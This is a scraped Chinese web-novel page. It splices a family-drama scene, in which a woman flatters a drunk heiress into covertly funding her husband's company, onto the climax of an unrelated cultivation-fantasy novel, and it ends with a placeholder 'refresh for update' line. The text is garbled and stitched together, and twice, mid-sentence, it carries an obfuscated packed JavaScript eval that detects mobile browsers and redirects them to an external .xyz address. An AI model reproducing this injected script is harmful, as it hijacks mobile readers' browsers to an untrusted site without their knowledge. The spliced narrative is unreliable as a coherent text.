“劳伦斯小姐，一个人喝闷酒，伤身又伤心。” 宅妮弗宅妮弗醉眼朦胧地抬起头，目光定格在女人的脸上，认出对方是在黎家后院见过的那个女人。 应该是，黎老爷第二个儿子的妻子。 不知道为什么，自己只要听到她的声音，就像是得到了安抚，心情好受了很多，就连脑子也不再想那么多。 宅妮弗并不讨厌她，甚至还给她倒了杯威士忌。 王素珍的指尖在酒杯边缘若有似无地划过，她的声音压得很低，带着一种推心置腹的蛊惑。 “劳伦斯小姐，您这样美好的人，不该为情所困。阿城他只是年轻，不知道谁才是真正能与他并肩、在他需要时能给予助力的人。” “你对他，很了解？”宅妮弗羡慕的打了个酒嗝，虽然她与黎墨城同窗两年，可是，对他的了解却很少。 她像是期盼救赎那般，看向王素珍，希望她能多给自己说一些，有关黎墨城的事。 然而王素珍却只是笑了笑，“我对他不够了解，因为我的地位远远不够与他接近。” 宅妮弗挑了挑眉，“真的搞不懂你们花国复杂的亲情关系。” 王素珍掩唇而笑，对她吹捧起来：“宅妮弗小姐是接受过高等教育的人，难以理解也正常。” 这对宅妮弗来说一直都很受用，她露出一脸无奈的笑容，受伤的自尊得到些许修复。 王素珍趁机微微倾身，营造出一种分享秘密的亲昵感，搭上了她的手背。 “今天我在花园看见你那么伤心，就已经于心不忍，现在又在这里遇到你，也算是我们两个的缘分，所以我决定帮你。” “帮我？” “没错，就是帮你。” 王素珍往她身边坐近了几分，将她轻轻的揽在怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434715|184961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “有时候，一段关系的突破，需要的不是一个完美的约会，而是一份恰到好处的‘恩情’，一份让他无法轻易忽视、必须正视你存在的重量，你只是深陷在困境中，才会迷茫，像我这样的旁观者，才能看清本质。” “我明白了，可是，我要怎么制造出一份恩情？” 宅妮弗在王素珍的安慰下，酒意已经清醒了不少。 王素珍眼底精光明灭，用温柔的口吻继续引诱：“其实很简单，我爱人的公司最近遇到了一点难关，你别看我们与墨城已经分家，可我们永远都是一家人，就像你们劳伦斯家族一样，是密不可分的。 我爱人本来想要找阿城寻求帮助，如果您能在此时，动用劳伦斯家族的一些资源，在暗中……不显山不露水地提供一点支持，等于是为他解决了难题，这份雪中送炭的情谊，比起商场上一纸合同，要重得多。” 她刻意停顿了一下，让宅妮弗消化这些话，然后才抛出最诱人的饵。 “当我们的生意有了起色，阿城他会看到您不仅是他优秀的合作伙伴，更是在黎家遇到微妙困难时，唯一能真正提供关键帮助的人。这份认知，会让他对您刮目相看，到那时，您还怕没有接近他、让他了解您真心的机会吗？” 王素珍的这番道理，在港城任何一个世家子弟的耳朵里，一听就知道她葫芦里在卖什么药。 可偏偏宅妮弗从小生活在国外，又被父母保护得太好，几乎没有接触过黑暗的人性。 在生意场上更因为她抗拒父亲安排的学习，把自己活成了只会吃喝玩乐的草包。 就连她平时相处的人，对她都是极力巴结、讨好，不敢存有加害之心。 这让宅妮弗对她没有丝毫戒心，再加上她内心对黎墨城极度的渴望，没有多想就答应了王素珍的提议。 “好，就这么办！谢谢你，愿意帮我。” 王素珍目的达成，便不再多说，静静的陪着宅妮弗喝酒。 那双看似平静无波，实则深不见底的眼睛，静静地，看着酒吧里的霓虹。 都好好享受吧。 这暴风雨来临之前，最后的狂欢。 …… 黎家。 结束了盛大的晚宴，送走了一众宾客，大人们还要忙碌着收尾的工作，聚在一起进行复盘。 但没成年的孩子们不用分担大人的压力，只用尽情享受热闹的氛围就可以了。 黎墨郢在黎家人送劳伦斯家族的人离开的时候，就带小婉婉回了自己的院子。 小小的奶团子在宴会上玩了一身汗，洗完澡后就见了困。 蔫巴巴的趴在枕头上，等着黎墨郢。 然而，等了许久也不见他回来，小婉婉打着小哈欠，下地穿上小拖鞋，出去外面寻找。 肉乎乎的小手刚推开书房的门，却见书桌前，少年闭目养神，浓郁的黑气沿着他的背后源源不断的涌出，汇聚成一条暗黑色的龙影，狰狞的倒映在墙壁。 “三哥哥。” 诡异的静谧被小团子奶声奶气的呼唤打破！ 伴随着黎墨郢睁开眸，黑色的雾气迅速扩散，狰狞的龙身也快速退回到他的身体里。 第113章 除了闯祸就没靠谱过（一更） 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中**出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情**，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们**，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以**……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他**……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法**吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法**，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经**是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，**顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽**下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会**，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434716|184961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，**开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被**出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第114章 被嫉妒冲垮的理智（二更） 